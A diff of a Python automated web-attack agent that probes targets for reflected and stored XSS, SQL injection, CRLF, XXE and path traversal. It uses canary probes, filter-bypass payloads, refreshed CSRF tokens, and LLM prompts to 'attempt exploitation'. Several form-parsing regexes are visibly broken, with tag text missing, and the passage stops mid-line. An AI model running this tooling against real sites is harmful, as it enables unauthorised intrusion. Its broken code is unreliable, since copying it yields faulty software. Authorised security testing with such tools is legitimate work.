@@ API Endpoints: {self.recon.api_endpoints[:5] if self.recon.api_endpoints else 'N base_url = f"{parsed.scheme}://{parsed.netloc}{parsed.path}" if parsed.query: - # URL has parameters - extract them params = list(parse_qs(parsed.query).keys()) test_targets.append({ "url": base_url, @@ -2140,59 +3983,522 @@ API Endpoints: {self.recon.api_endpoints[:5] if self.recon.api_endpoints else 'N await self.log("info", f" Total targets to test: {len(test_targets)}") - for target in test_targets: - # Check for cancellation - if self.is_cancelled(): - await self.log("warning", "Scan cancelled by user") - return + # Route types into three categories + injection_types = [v for v in vuln_types if v in self.INJECTION_TYPES] + inspection_types = [v for v in vuln_types if v in self.INSPECTION_TYPES] + ai_types = [v for v in vuln_types if v in self.AI_DRIVEN_TYPES] - url = target.get('url', '') - await self.log("info", f" Testing: {url[:60]}...") + # ── Phase A: Inspection-based tests (fast, no payload injection) ── + if inspection_types: + await self.log("info", f" Running {len(inspection_types)} inspection tests") - for vuln_type in vuln_types: + # Security headers & clickjacking + if any(t in inspection_types for t in ("security_headers", "clickjacking", "insecure_cookie_flags")): + await self._test_security_headers("security_headers") + + # CORS + if "cors_misconfig" in inspection_types: + await self._test_cors() + + # Info disclosure / version / headers + if any(t in inspection_types for t in ( + "http_methods", "information_disclosure", "version_disclosure", + "sensitive_data_exposure", + )): + await self._test_information_disclosure() + + # Misconfigurations (directory listing, debug mode, admin panels, API docs) + misconfig_types = {"directory_listing", "debug_mode", "exposed_admin_panel", "exposed_api_docs"} + if misconfig_types & set(inspection_types): + await self._test_misconfigurations() + + # Data exposure (source code, backups, API keys) + data_types = {"source_code_disclosure", "backup_file_exposure", "api_key_exposure"} + if data_types & set(inspection_types): + await self._test_data_exposure() + + # SSL/TLS & crypto + if any(t in inspection_types for t in ("ssl_issues", "cleartext_transmission", "weak_encryption", "weak_hashing")): + await self._test_ssl_crypto() + + # GraphQL introspection + if "graphql_introspection" in inspection_types: + await self._test_graphql_introspection() + + # CSRF + if "csrf" in inspection_types: + await self._test_csrf_inspection() + + # ── Phase B0: Stored XSS - special two-phase form-based testing ── + if "xss_stored" in injection_types: + # If no forms found during recon, crawl discovered endpoints to find them + if not self.recon.forms: + await self.log("info", " [STORED XSS] No forms in recon - crawling endpoints to discover forms...") + for ep in self.recon.endpoints[:15]: + ep_url = _get_endpoint_url(ep) + if ep_url: + await self._crawl_page(ep_url) + if self.recon.forms: + await self.log("info", f" [STORED XSS] Discovered {len(self.recon.forms)} forms from endpoint crawl") + + if "xss_stored" in injection_types and self.recon.forms: + await self.log("info", f" [STORED XSS] Two-phase testing against {len(self.recon.forms)} forms") + for form in self.recon.forms[:10]: + await self._wait_if_paused() if self.is_cancelled(): return - - finding = await self._test_vulnerability_type( - url, - vuln_type, - target.get('method', 'GET'), - target.get('params', []) - ) + finding = await self._test_stored_xss(form) if finding: await self._add_finding(finding) + # Remove xss_stored from generic injection loop (already tested via forms) + injection_types = [v for v in injection_types if v != "xss_stored"] + + # ── Phase B0.5: Reflected XSS - dedicated context-aware testing ── + if "xss_reflected" in injection_types: + await self.log("info", f" [REFLECTED XSS] Context-aware testing against {len(test_targets)} targets") + for target in test_targets: + await self._wait_if_paused() + if self.is_cancelled(): + return + t_url = target.get('url', '') + t_params = target.get('params', []) + t_method = target.get('method', 'GET') + finding = await self._test_reflected_xss(t_url, t_params, t_method) + if finding: + await self._add_finding(finding) + injection_types = [v for v in injection_types if v != "xss_reflected"] + + # ── Phase B: Injection-based tests against parameterized endpoints ── + if injection_types: + await self.log("info", f" Running {len(injection_types)} injection tests against {len(test_targets)} targets") + for target in test_targets: + await self._wait_if_paused() + if self.is_cancelled(): + await self.log("warning", "Scan cancelled by user") + return + + url = target.get('url', '') + + # Strategy: skip dead endpoints + if self.strategy and not self.strategy.should_test_endpoint(url): + await self.log("debug", f" [STRATEGY] Skipping dead endpoint: {url[:60]}") + continue + + await self.log("info", f" Testing: {url[:60]}...") + + for vuln_type in injection_types: + await self._wait_if_paused() + if self.is_cancelled(): + return + + # Strategy: skip vuln types with diminishing returns on this endpoint + if self.strategy and not self.strategy.should_test_type(vuln_type, url): + continue + + finding = await self._test_vulnerability_type( + url, + vuln_type, + target.get('method', 'GET'), + target.get('params', []) + ) + if finding: + await self._add_finding(finding) + # Strategy: record success + if self.strategy: + self.strategy.record_test_result(url, vuln_type, 200, True, 0) + elif self.strategy: + self.strategy.record_test_result(url, vuln_type, 0, False, 0) + + # Strategy: recompute priorities periodically + if self.strategy and self.strategy.should_recompute_priorities(): + injection_types = self.strategy.recompute_priorities(injection_types) + + # ── Phase B+: AI-suggested additional tests ── + if self.llm.is_available() and self.memory.confirmed_findings: + findings_summary = "\n".join( + f"- {f.title} ({f.severity}) at {f.affected_endpoint}" + for f in self.memory.confirmed_findings[:20] + ) + target_urls = [t.get('url', '') for t in test_targets[:5]] + suggested = await self._ai_suggest_next_tests(findings_summary, target_urls) + if suggested: + await self.log("info", f" [AI] Suggested additional tests: {', '.join(suggested)}") + for vt in suggested[:5]: + if vt in injection_types or vt in inspection_types: + continue # Already tested + await self._wait_if_paused() + if self.is_cancelled(): + return + for target in test_targets[:3]: + finding = await self._test_vulnerability_type( + target.get('url', ''), vt, + target.get('method', 'GET'), + target.get('params', []) + ) + if finding: + await self._add_finding(finding) + + # ── Phase C: AI-driven tests (require LLM for intelligent analysis) ── + if ai_types and self.llm.is_available(): + # Prioritize: test top 10 AI-driven types + ai_priority = ai_types[:10] + await self.log("info", f" AI-driven testing for {len(ai_priority)} types: {', '.join(ai_priority[:5])}...") + for vt in ai_priority: + await self._wait_if_paused() + if self.is_cancelled(): + return + await self._ai_dynamic_test( + f"Test the target {self.target} for {vt} vulnerability. " + f"Analyze the application behavior, attempt exploitation, and report only confirmed findings." + ) + + async def _test_reflected_xss( + self, url: str, params: List[str], method: str = "GET" + ) -> Optional[Finding]: + """Dedicated reflected XSS testing with filter detection + context analysis + AI. + + 1. Canary probe each param to find reflection points + 2. Enhanced context detection at each reflection + 3. Filter detection to map what's blocked + 4. Build payload list: AI-generated + escalation + context payloads + 5. Test with per-payload dedup + """ + parsed = urlparse(url) + base_url = f"{parsed.scheme}://{parsed.netloc}{parsed.path}" + existing_params = parse_qs(parsed.query) if parsed.query else {} + test_params = params if params else list(existing_params.keys()) + if not test_params: + test_params = ["id", "q", "search", "page", "file", "url"] + + for param in test_params[:8]: + if self.memory.was_tested(base_url, param, "xss_reflected"): + continue + + # Step 1: Canary probe to find reflection + canary = f"nsxss{hashlib.md5(f'{base_url}{param}'.encode()).hexdigest()[:6]}" + test_data = {param: canary} + for k, v in existing_params.items(): + if k != param: + test_data[k] = v[0] if isinstance(v, list) else v + + canary_resp = await self._make_request(base_url, method, test_data) + if not canary_resp or canary not in canary_resp.get("body", ""): + self.memory.record_test(base_url, param, "xss_reflected", [canary], False) + continue + + await self.log("info", f" [{param}] Canary reflected! Analyzing context...") + + # Step 2: Enhanced context detection + context_info = self._detect_xss_context_enhanced(canary_resp["body"], canary) + context = context_info["context"] + await self.log("info", f" [{param}] Context: {context} " + f"(tag={context_info.get('enclosing_tag', '')}, " + f"attr={context_info.get('attribute_name', '')})") + + # Step 3: Filter detection + filter_map = await self._detect_xss_filters(base_url, param, method) + + # Step 4: Build payload list + context_payloads = self.payload_generator.get_context_payloads(context) + escalation = self._escalation_payloads(filter_map, context) + bypass_payloads = self.payload_generator.get_filter_bypass_payloads(filter_map) + + challenge_hint = self.lab_context.get("challenge_name", "") or "" + if self.lab_context.get("notes"): + challenge_hint += f" | {self.lab_context['notes']}" + ai_payloads = await self._ai_generate_xss_payloads( + filter_map, context_info, challenge_hint + ) + + # Merge and deduplicate + seen: set = set() + payloads: List[str] = [] + for p in (ai_payloads + escalation + bypass_payloads + context_payloads): + if p not in seen: + seen.add(p) + payloads.append(p) + + if not payloads: + payloads = self._get_payloads("xss_reflected") + + await self.log("info", f" [{param}] Testing {len(payloads)} payloads " + f"(AI={len(ai_payloads)}, esc={len(escalation)}, ctx={len(context_payloads)})") + + # Step 5: Test payloads + tester = self.vuln_registry.get_tester("xss_reflected") + baseline_resp = self.memory.get_baseline(base_url) + if not baseline_resp: + baseline_resp = await self._make_request(base_url, method, {param: "safe123test"}) + if baseline_resp: + self.memory.store_baseline(base_url, baseline_resp) + + for i, payload in enumerate(payloads[:30]): + await self._wait_if_paused() + if self.is_cancelled(): + return None + + payload_hash = hashlib.md5(payload.encode()).hexdigest()[:8] + dedup_param = f"{param}|{payload_hash}" + if self.memory.was_tested(base_url, dedup_param, "xss_reflected"): + continue + + test_data = {param: payload} + for k, v in existing_params.items(): + if k != param: + test_data[k] = v[0] if isinstance(v, list) else v + + test_resp = await self._make_request(base_url, method, test_data) + if not test_resp: + self.memory.record_test(base_url, dedup_param, "xss_reflected", [payload], False) + continue + + # Check with tester + detected, confidence, evidence = tester.analyze_response( + payload, test_resp.get("status", 0), + test_resp.get("headers", {}), + test_resp.get("body", ""), {} + ) + + if detected and confidence >= 0.7: + await self.log("warning", f" [{param}] [XSS REFLECTED] Phase tester confirmed " + f"(conf={confidence:.2f}): {evidence[:60]}") + + # Run through ValidationJudge pipeline + finding = await self._judge_finding( + "xss_reflected", url, param, payload, evidence, test_resp + ) + if finding: + await self.log("warning", f" [{param}] [XSS REFLECTED] CONFIRMED: {payload[:50]}") + self.memory.record_test(base_url, dedup_param, "xss_reflected", [payload], True) + return finding + + self.memory.record_test(base_url, dedup_param, "xss_reflected", [payload], False) + + return None async def _test_vulnerability_type(self, url: str, vuln_type: str, method: str = "GET", params: List[str] = None) -> Optional[Finding]: - """Test for a specific vulnerability type""" - payloads = self.PAYLOADS.get(vuln_type, []) + """Test for a specific vulnerability type with correct injection routing.""" + if self.is_cancelled(): + return None + + payloads = self._get_payloads(vuln_type) parsed = urlparse(url) base_url = f"{parsed.scheme}://{parsed.netloc}{parsed.path}" - # Get existing params or use provided + # Check injection routing table for this vuln type + injection_config = self.VULN_INJECTION_POINTS.get(vuln_type, {"point": "parameter"}) + injection_point = injection_config["point"] + + # ── Header-based injection (CRLF, host header, etc.) ── + if injection_point == "header": + header_names = injection_config.get("headers", ["X-Forwarded-For"]) + return await self._test_header_injection( + base_url, vuln_type, payloads, header_names, method + ) + + # ── Body-based injection (XXE) ── + if injection_point == "body": + return await self._test_body_injection( + base_url, vuln_type, payloads, method + ) + + # ── Both parameter AND path injection (LFI, path traversal) ── + if injection_point == "both": + existing_params = parse_qs(parsed.query) if parsed.query else {} + test_params = params or list(existing_params.keys()) or ["file", "path", "page", "include", "id"] + # Try parameter injection first + result = await self._test_param_injection( + base_url, url, vuln_type, payloads, test_params, existing_params, method + ) + if result: + return result + # Then try path-based injection + return await self._test_path_injection(base_url, vuln_type, payloads, method) + + # ── Default: Parameter-based injection ── existing_params = parse_qs(parsed.query) if parsed.query else {} test_params = params or list(existing_params.keys()) or ["id", "q", "search"] + return await self._test_param_injection( + base_url, url, vuln_type, payloads, test_params, existing_params, method + ) + async def _test_header_injection(self, base_url: str, vuln_type: str, + payloads: List[str], header_names: List[str], + method: str) -> Optional[Finding]: + """Test payloads via HTTP header injection.""" + for header_name in header_names: + for payload in payloads[:8]: + if self.is_cancelled(): + return None + dedup_key = f"{header_name}:{vuln_type}" + if self.memory.was_tested(base_url, header_name, vuln_type): + continue + + try: + # Baseline without injection + baseline_resp = self.memory.get_baseline(base_url) + if not baseline_resp: + baseline_resp = await self._make_request_with_injection( + base_url, method, "test123", + injection_point="header", header_name=header_name + ) + if baseline_resp: + self.memory.store_baseline(base_url, baseline_resp) + + # Test with payload in header + test_resp = await self._make_request_with_injection( + base_url, method, payload, + injection_point="header", header_name=header_name + ) + + if not test_resp: + self.memory.record_test(base_url, header_name, vuln_type, [payload], False) + continue + + # Verify: check if payload appears in response headers or body + is_vuln, evidence = await self._verify_vulnerability( + vuln_type, payload, test_resp, baseline_resp + ) + + # Also check for CRLF-specific indicators in response headers + if not is_vuln and vuln_type in ("crlf_injection", "header_injection"): + resp_headers = test_resp.get("headers", {}) + resp_headers_str = str(resp_headers) + # Check if injected header value leaked into response + if any(ind in resp_headers_str.lower() for ind in + ["injected", "set-cookie", "x-injected", payload[:20].lower()]): + is_vuln = True + evidence = f"Header injection via {header_name}: payload reflected in response headers" + + if is_vuln: + # Run through ValidationJudge pipeline + finding = await self._judge_finding( + vuln_type, base_url, header_name, payload, evidence, test_resp, + baseline=baseline_resp, injection_point="header" + ) + if not finding: + self.memory.record_test(base_url, header_name, vuln_type, [payload], False) + continue + + self.memory.record_test(base_url, header_name, vuln_type, [payload], True) + return finding + + self.memory.record_test(base_url, header_name, vuln_type, [payload], False) + + except Exception as e: + await self.log("debug", f"Header injection test error: {e}") + + return None + + async def _test_body_injection(self, base_url: str, vuln_type: str, + payloads: List[str], method: str) -> Optional[Finding]: + """Test payloads via HTTP body injection (XXE, etc.).""" + for payload in payloads[:8]: + if self.is_cancelled(): + return None + if self.memory.was_tested(base_url, "body", vuln_type): + continue + + try: + test_resp = await self._make_request_with_injection( + base_url, "POST", payload, + injection_point="body", param_name="data" + ) + if not test_resp: + self.memory.record_test(base_url, "body", vuln_type, [payload], False) + continue + + is_vuln, evidence = await self._verify_vulnerability( + vuln_type, payload, test_resp, None + ) + + if is_vuln: + # Run through ValidationJudge pipeline + finding = await self._judge_finding( + vuln_type, base_url, "body", payload, evidence, test_resp, + injection_point="body" + ) + if finding: + self.memory.record_test(base_url, "body", vuln_type, [payload], True) + return finding + + self.memory.record_test(base_url, "body", vuln_type, [payload], False) + + except Exception as e: + await self.log("debug", f"Body injection test error: {e}") + + return None + + async def _test_path_injection(self, base_url: str, vuln_type: str, + payloads: List[str], method: str) -> Optional[Finding]: + """Test payloads via URL path injection (path traversal, LFI).""" + for payload in payloads[:6]: + if self.is_cancelled(): + return None + if self.memory.was_tested(base_url, "path", vuln_type): + continue + + try: + test_resp = await self._make_request_with_injection( + base_url, method, payload, + injection_point="path" + ) + if not test_resp: + self.memory.record_test(base_url, "path", vuln_type, [payload], False) + continue + + is_vuln, evidence = await self._verify_vulnerability( + vuln_type, payload, test_resp, None + ) + + if is_vuln: + # Run through ValidationJudge pipeline + finding = await self._judge_finding( + vuln_type, base_url, "path", payload, evidence, test_resp, + injection_point="path" + ) + if finding: + self.memory.record_test(base_url, "path", vuln_type, [payload], True) + return finding + + self.memory.record_test(base_url, "path", vuln_type, [payload], False) + + except Exception as e: + await self.log("debug", f"Path injection test error: {e}") + + return None + + async def _test_param_injection(self, base_url: str, url: str, vuln_type: str, + payloads: List[str], test_params: List[str], + existing_params: Dict, method: str) -> Optional[Finding]: + """Test payloads via URL parameter injection (default injection method).""" for payload in payloads[:8]: for param in test_params[:5]: - # Skip if already tested - test_key = f"{base_url}:{param}:{vuln_type}:{hash(payload) % 10000}" - if test_key in self.tested_payloads: + if self.is_cancelled(): + return None + # Skip if already tested (memory-backed dedup) + if self.memory.was_tested(base_url, param, vuln_type): continue - self.tested_payloads.add(test_key) try: # Build request test_data = {**existing_params, param: payload} - # First, get baseline response - baseline_resp = await self._make_request(base_url, method, {param: "test123"}) + # Get or reuse cached baseline response + baseline_resp = self.memory.get_baseline(base_url) + if not baseline_resp: + baseline_resp = await self._make_request(base_url, method, {param: "test123"}) + if baseline_resp: + self.memory.store_baseline(base_url, baseline_resp) + self.memory.store_fingerprint(base_url, baseline_resp) # Test with payload test_resp = await self._make_request(base_url, method, test_data) if not test_resp: + self.memory.record_test(base_url, param, vuln_type, [payload], False) continue # Check for vulnerability @@ -2201,38 +4507,969 @@ API Endpoints: {self.recon.api_endpoints[:5] if self.recon.api_endpoints else 'N ) if is_vuln: - # Double-check with AI to avoid false positives - if self.llm.is_available(): - confirmed = await self._ai_confirm_finding( - vuln_type, url, param, payload, - test_resp.get('body', '')[:2000], - evidence - ) - if not confirmed: - continue - - return self._create_finding( - vuln_type, url, param, payload, evidence, test_resp + # Run through ValidationJudge pipeline + finding = await self._judge_finding( + vuln_type, url, param, payload, evidence, test_resp, + baseline=baseline_resp ) + if not finding: + self.memory.record_test(base_url, param, vuln_type, [payload], False) + continue + + self.memory.record_test(base_url, param, vuln_type, [payload], True) + return finding + + self.memory.record_test(base_url, param, vuln_type, [payload], False) except asyncio.TimeoutError: - # Timeout might indicate blind injection - if vuln_type == "sqli" and "SLEEP" in payload.upper(): + self.memory.record_test(base_url, param, vuln_type, [payload], False) + # Timeout might indicate blind injection - only if significant delay + if vuln_type in ("sqli_time", "sqli") and "SLEEP" in payload.upper(): + self.memory.record_test(base_url, param, vuln_type, [payload], True) return self._create_finding( vuln_type, url, param, payload, "Request timeout - possible time-based blind SQLi", - {"status": "timeout"} + {"status": "timeout"}, + ai_confirmed=False ) except Exception as e: await self.log("debug", f"Test error: {e}") return None - async def _make_request(self, url: str, method: str, params: Dict) -> Optional[Dict]: - """Make HTTP request and return response details""" + async def _store_rejected_finding(self, vuln_type: str, url: str, param: str, + payload: str, evidence: str, test_resp: Dict): + """Store a rejected finding for manual review.""" + await self.log("debug", f" Finding rejected after verification: {vuln_type} in {param}") + rejected = self._create_finding( + vuln_type, url, param, payload, evidence, test_resp, + ai_confirmed=False + ) + rejected.ai_status = "rejected" + rejected.rejection_reason = f"AI verification rejected: {vuln_type} in {param} - payload detected but not confirmed exploitable" + self.rejected_findings.append(rejected) + self.memory.reject_finding(rejected, rejected.rejection_reason) + if self.finding_callback: + try: + await self.finding_callback(asdict(rejected)) + except Exception: + pass + + # ── Stored XSS: Two-phase form-based testing ────────────────────────── + + def _get_display_pages(self, form: Dict) -> List[str]: + """Determine likely display pages where stored content would render.""" + display_pages = [] + action = form.get("action", "") + page_url = form.get("page_url", "") + + # 1. The page containing the form (most common: comments appear on same page) + if page_url and page_url not in display_pages: + display_pages.append(page_url) + + # 2. Form action URL (sometimes redirects back to content page) + if action and action not in display_pages: + display_pages.append(action) + + # 3. Parent path (e.g., /post/comment → /post) + parsed = urlparse(page_url or action) + parent = parsed.path.rsplit("/", 1)[0] + if parent and parent != parsed.path: + parent_url = f"{parsed.scheme}://{parsed.netloc}{parent}" + if parent_url not in display_pages: + display_pages.append(parent_url) + + # 4. Main target + if self.target not in display_pages: + display_pages.append(self.target) + + return display_pages + + async def _fetch_fresh_form_values(self, page_url: str, form_action: str) -> List[Dict]: + """Fetch a page and extract fresh hidden input values (CSRF tokens, etc.).""" try: + resp = await self._make_request(page_url, "GET", {}) + if not resp: + return [] + body = resp.get("body", "") + + # Capture tag attributes and inner content separately + form_pattern = r']*)>(.*?)' + forms = re.findall(form_pattern, body, re.I | re.DOTALL) + + parsed_action = urlparse(form_action) + for form_attrs, form_html in forms: + # Match action from the
tag attributes + action_match = re.search(r'action=["\']([^"\']*)["\']', form_attrs, re.I) + if action_match: + found_action = action_match.group(1) + if found_action == parsed_action.path or form_action.endswith(found_action): + # Extract fresh input values from inner content + details = [] + for inp_el in re.findall(r']*>', form_html, re.I): + name_m = re.search(r'name=["\']([^"\']+)["\']', inp_el, re.I) + if not name_m: + continue + type_m = re.search(r'type=["\']([^"\']+)["\']', inp_el, re.I) + val_m = re.search(r'value=["\']([^"\']*)["\']', inp_el, re.I) + details.append({ + "name": name_m.group(1), + "type": type_m.group(1).lower() if type_m else "text", + "value": val_m.group(1) if val_m else "" + }) + for ta in re.findall(r']*name=["\']([^"\']+)["\']', form_html, re.I): + details.append({"name": ta, "type": "textarea", "value": ""}) + return details + except Exception: + pass + return [] + + async def _test_stored_xss(self, form: Dict) -> Optional[Finding]: + """AI-driven two-phase stored XSS testing for a form. + + Phase 1: Submit XSS payloads to form action (with fresh CSRF tokens) + Phase 2: Check display pages for unescaped payload execution + Uses AI to analyze form structure, adapt payloads, and verify results. + """ + action = form.get("action", "") + method = form.get("method", "POST").upper() + inputs = form.get("inputs", []) + input_details = form.get("input_details", []) + page_url = form.get("page_url", action) + + if not action or not inputs: + return None + + # Use page_url as unique key for dedup (not action, which may be shared) + dedup_key = page_url or action + + await self.log("info", f" [STORED XSS] Testing form on {page_url[:60]}...") + await self.log("info", f" Action: {action[:60]}, Method: {method}, Inputs: {inputs}") + + # Check for CSRF-protected forms + has_csrf = any( + d.get("type") == "hidden" and "csrf" in d.get("name", "").lower() + for d in input_details if isinstance(d, dict) + ) + + # Identify hidden fields and their values + hidden_fields = {} + for d in input_details: + if isinstance(d, dict) and d.get("type") == "hidden": + hidden_fields[d["name"]] = d.get("value", "") + if hidden_fields: + await self.log("info", f" [HIDDEN] {list(hidden_fields.keys())} (CSRF={has_csrf})") + + display_pages = self._get_display_pages(form) + + # Identify injectable text fields (skip hidden/submit) + text_fields = [] + text_indicators = [ + "comment", "message", "text", "body", "content", "desc", + "title", "subject", "review", "feedback", "note", + "post", "reply", "bio", "about", + ] + for inp_d in input_details: + if isinstance(inp_d, dict): + name = inp_d.get("name", "") + inp_type = inp_d.get("type", "text") + if inp_type in ("hidden", "submit"): + continue + if inp_type == "textarea" or any(ind in name.lower() for ind in text_indicators): + text_fields.append(name) + + # Fallback: use all non-hidden, non-submit inputs + if not text_fields: + for inp_d in input_details: + if isinstance(inp_d, dict) and inp_d.get("type") not in ("hidden", "submit"): + text_fields.append(inp_d.get("name", "")) + + if not text_fields: + await self.log("debug", f" No injectable text fields found") + return None + + await self.log("info", f" [FIELDS] Injectable: {text_fields}") + + # ── Step 1: Canary probe to verify form submission works ── + canary = f"xsscanary{hashlib.md5(page_url.encode()).hexdigest()[:6]}" + canary_stored = False + canary_display_url = None + context = "unknown" + + fresh_details = await self._fetch_fresh_form_values(page_url, action) if has_csrf else input_details + if not fresh_details: + fresh_details = input_details + + probe_data = self._build_form_data(fresh_details, text_fields, canary) + await self.log("info", f" [PROBE] Submitting canary '{canary}' to verify form works...") + await self.log("debug", f" [PROBE] POST data keys: {list(probe_data.keys())}") + + try: + probe_resp = await self._make_request(action, method, probe_data) + if probe_resp: + p_status = probe_resp.get("status", 0) + p_body = probe_resp.get("body", "") + await self.log("info", f" [PROBE] Response: status={p_status}, body_len={len(p_body)}") + + # Check if canary appears in the response itself (immediate display) + if canary in p_body: + await self.log("info", f" [PROBE] Canary found in submission response!") + canary_stored = True + canary_display_url = action + + # Follow redirect + if p_status in (301, 302, 303): + loc = probe_resp.get("headers", {}).get("Location", "") + await self.log("info", f" [PROBE] Redirect to: {loc}") + if loc: + if loc.startswith("/"): + parsed = urlparse(action) + loc = f"{parsed.scheme}://{parsed.netloc}{loc}" + if loc not in display_pages: + display_pages.insert(0, loc) + # Follow the redirect to check for canary + redir_resp = await self._make_request(loc, "GET", {}) + if redir_resp and canary in redir_resp.get("body", ""): + await self.log("info", f" [PROBE] Canary found on redirect page!") + canary_stored = True + canary_display_url = loc + + # Check display pages for canary + if not canary_stored: + for dp_url in display_pages: + dp_resp = await self._make_request(dp_url, "GET", {}) + if dp_resp and canary in dp_resp.get("body", ""): + await self.log("info", f" [PROBE] Canary found on display page: {dp_url[:60]}") + canary_stored = True + canary_display_url = dp_url + break + elif dp_resp: + await self.log("debug", f" [PROBE] Canary NOT found on {dp_url[:60]} (body_len={len(dp_resp.get('body',''))})") + + if not canary_stored: + await self.log("warning", f" [PROBE] Canary not found on any display page - form may not store data") + # Try AI analysis of why submission might have failed + if self.llm.is_available() and p_body: + ai_hint = await self.llm.generate( + f"I submitted a form to {action} with fields {list(probe_data.keys())}. " + f"Got status {p_status}. Response body excerpt:\n{p_body[:1500]}\n\n" + f"Did the submission succeed? If not, what's wrong? " + f"Look for error messages, missing fields, validation failures. " + f"Reply in 1-2 sentences.", + get_system_prompt("interpretation") + ) + await self.log("info", f" [AI] Form analysis: {ai_hint[:150]}") + return None # Don't waste time if form doesn't store + + except Exception as e: + await self.log("debug", f" Context probe failed: {e}") + return None + + # ── Step 2: Enhanced context detection ── + context_info = {"context": "html_body"} + if canary_display_url: + try: + ctx_resp = await self._make_request(canary_display_url, "GET", {}) + if ctx_resp and canary in ctx_resp.get("body", ""): + context_info = self._detect_xss_context_enhanced(ctx_resp["body"], canary) + await self.log("info", f" [CONTEXT] Detected: {context_info['context']} " + f"(tag={context_info.get('enclosing_tag', 'none')}, " + f"attr={context_info.get('attribute_name', 'none')})") + except Exception: + pass + + context = context_info["context"] + + # ── Step 2.5: Filter detection ── + form_context_for_filter = { + "text_fields": text_fields, + "input_details": input_details, + "action": action, + "method": method, + "display_url": canary_display_url or page_url, + "page_url": page_url, + "has_csrf": has_csrf, + } + filter_map = await self._detect_xss_filters( + page_url, text_fields[0] if text_fields else "", + form_context=form_context_for_filter + ) + + # ── Step 3: Build adaptive payload list ── + # 3a: Context payloads from PayloadGenerator + context_payloads = self.payload_generator.get_context_payloads(context) + + # 3b: Escalation payloads filtered by what's allowed + escalation = self._escalation_payloads(filter_map, context) + + # 3c: Filter bypass payloads from generator + bypass_payloads = self.payload_generator.get_filter_bypass_payloads(filter_map) + + # 3d: AI-generated payloads + challenge_hint = self.lab_context.get("challenge_name", "") or "" + if self.lab_context.get("notes"): + challenge_hint += f" | {self.lab_context['notes']}" + ai_payloads = await self._ai_generate_xss_payloads( + filter_map, context_info, challenge_hint + ) + + # Merge and deduplicate: AI first (most targeted), then escalation, then static + seen: set = set() + payloads: List[str] = [] + for p in (ai_payloads + escalation + bypass_payloads + context_payloads): + if p not in seen: + seen.add(p) + payloads.append(p) + + if not payloads: + payloads = self._get_payloads("xss_stored") + + await self.log("info", f" [PAYLOADS] {len(payloads)} total " + f"(AI={len(ai_payloads)}, escalation={len(escalation)}, " + f"bypass={len(bypass_payloads)}, context={len(context_payloads)})") + + # ── Step 4: Submit payloads and verify on display page ── + tester = self.vuln_registry.get_tester("xss_stored") + param_key = ",".join(text_fields) + + for i, payload in enumerate(payloads[:15]): + await self._wait_if_paused() + if self.is_cancelled(): + return None + + # Per-payload dedup using page_url (not action, which is shared across forms) + payload_hash = hashlib.md5(payload.encode()).hexdigest()[:8] + dedup_param = f"{param_key}|{payload_hash}" + if self.memory.was_tested(dedup_key, dedup_param, "xss_stored"): + continue + + # Fetch fresh CSRF token for each submission + current_details = input_details + if has_csrf: + fetched = await self._fetch_fresh_form_values(page_url, action) + if fetched: + current_details = fetched + + form_data = self._build_form_data(current_details, text_fields, payload) + + try: + # Phase 1: Submit payload + submit_resp = await self._make_request(action, method, form_data) + if not submit_resp: + self.memory.record_test(dedup_key, dedup_param, "xss_stored", [payload], False) + continue + + s_status = submit_resp.get("status", 0) + s_body = submit_resp.get("body", "") + + if s_status >= 400: + await self.log("debug", f" [{i+1}] Phase 1 rejected (status {s_status})") + self.memory.record_test(dedup_key, dedup_param, "xss_stored", [payload], False) + continue + + await self.log("info", f" [{i+1}] Phase 1 OK (status={s_status}): {payload[:50]}...") + + # Phase 2: Check where the payload ended up + # Start with the known display URL from canary, then check others + check_urls = [] + if canary_display_url: + check_urls.append(canary_display_url) + # Follow redirect + if s_status in (301, 302, 303): + loc = submit_resp.get("headers", {}).get("Location", "") + if loc: + if loc.startswith("/"): + parsed = urlparse(action) + loc = f"{parsed.scheme}://{parsed.netloc}{loc}" + if loc not in check_urls: + check_urls.append(loc) + # Add remaining display pages + for dp in display_pages: + if dp not in check_urls: + check_urls.append(dp) + + for dp_url in check_urls: + try: + dp_resp = await self._make_request(dp_url, "GET", {}) + if not dp_resp: + continue + + dp_body = dp_resp.get("body", "") + + # Check with tester + phase2_detected, phase2_conf, phase2_evidence = tester.analyze_display_response( + payload, dp_resp.get("status", 0), + dp_resp.get("headers", {}), + dp_body, {} + ) + + if phase2_detected and phase2_conf >= 0.7: + await self.log("warning", + f" [{i+1}] [XSS STORED] Phase 2 CONFIRMED (conf={phase2_conf:.2f}): {phase2_evidence[:80]}") + + # For stored XSS with high-confidence Phase 2 tester match, + # skip the generic AI confirmation — the tester already verified + # the payload exists unescaped on the display page. + # The AI prompt doesn't understand two-phase stored XSS context + # and rejects legitimate findings because it only sees a page excerpt. + await self.log("info", f" [{i+1}] Phase 2 tester confirmed with {phase2_conf:.2f} — accepting finding") + + # Browser verification if available + browser_evidence = "" + screenshots = [] + if HAS_PLAYWRIGHT and BrowserValidator is not None: + browser_result = await self._browser_verify_stored_xss( + form, payload, text_fields, dp_url + ) + if browser_result: + browser_evidence = browser_result.get("evidence", "") + screenshots = [s for s in browser_result.get("screenshots", []) if s] + if browser_result.get("xss_confirmed"): + await self.log("warning", " [BROWSER] Stored XSS confirmed!") + + evidence = phase2_evidence + if browser_evidence: + evidence += f" | Browser: {browser_evidence}" + + self.memory.record_test(dedup_key, dedup_param, "xss_stored", [payload], True) + + finding = self._create_finding( + "xss_stored", dp_url, param_key, payload, + evidence, dp_resp, ai_confirmed=True + ) + finding.affected_urls = [action, dp_url] + + if screenshots and embed_screenshot: + for ss_path in screenshots: + data_uri = embed_screenshot(ss_path) + if data_uri: + finding.screenshots.append(data_uri) + + return finding + else: + # Log what we found (or didn't) + if payload in dp_body: + await self.log("info", f" [{i+1}] Payload found on page but encoded/safe (conf={phase2_conf:.2f})") + else: + await self.log("debug", f" [{i+1}] Payload NOT on display page {dp_url[:50]}") + + except Exception as e: + await self.log("debug", f" [{i+1}] Display page error: {e}") + + self.memory.record_test(dedup_key, dedup_param, "xss_stored", [payload], False) + + except Exception as e: + await self.log("debug", f" [{i+1}] Stored XSS error: {e}") + + return None + + def _build_form_data(self, input_details: List[Dict], text_fields: List[str], + payload_value: str) -> Dict[str, str]: + """Build form submission data using hidden field values and injecting payload into text fields.""" + form_data = {} + for inp in input_details: + name = inp.get("name", "") if isinstance(inp, dict) else inp + inp_type = inp.get("type", "text") if isinstance(inp, dict) else "text" + inp_value = inp.get("value", "") if isinstance(inp, dict) else "" + + if inp_type == "hidden": + # Use actual hidden value (csrf token, postId, etc.) + form_data[name] = inp_value + elif name in text_fields: + form_data[name] = payload_value + elif name.lower() in 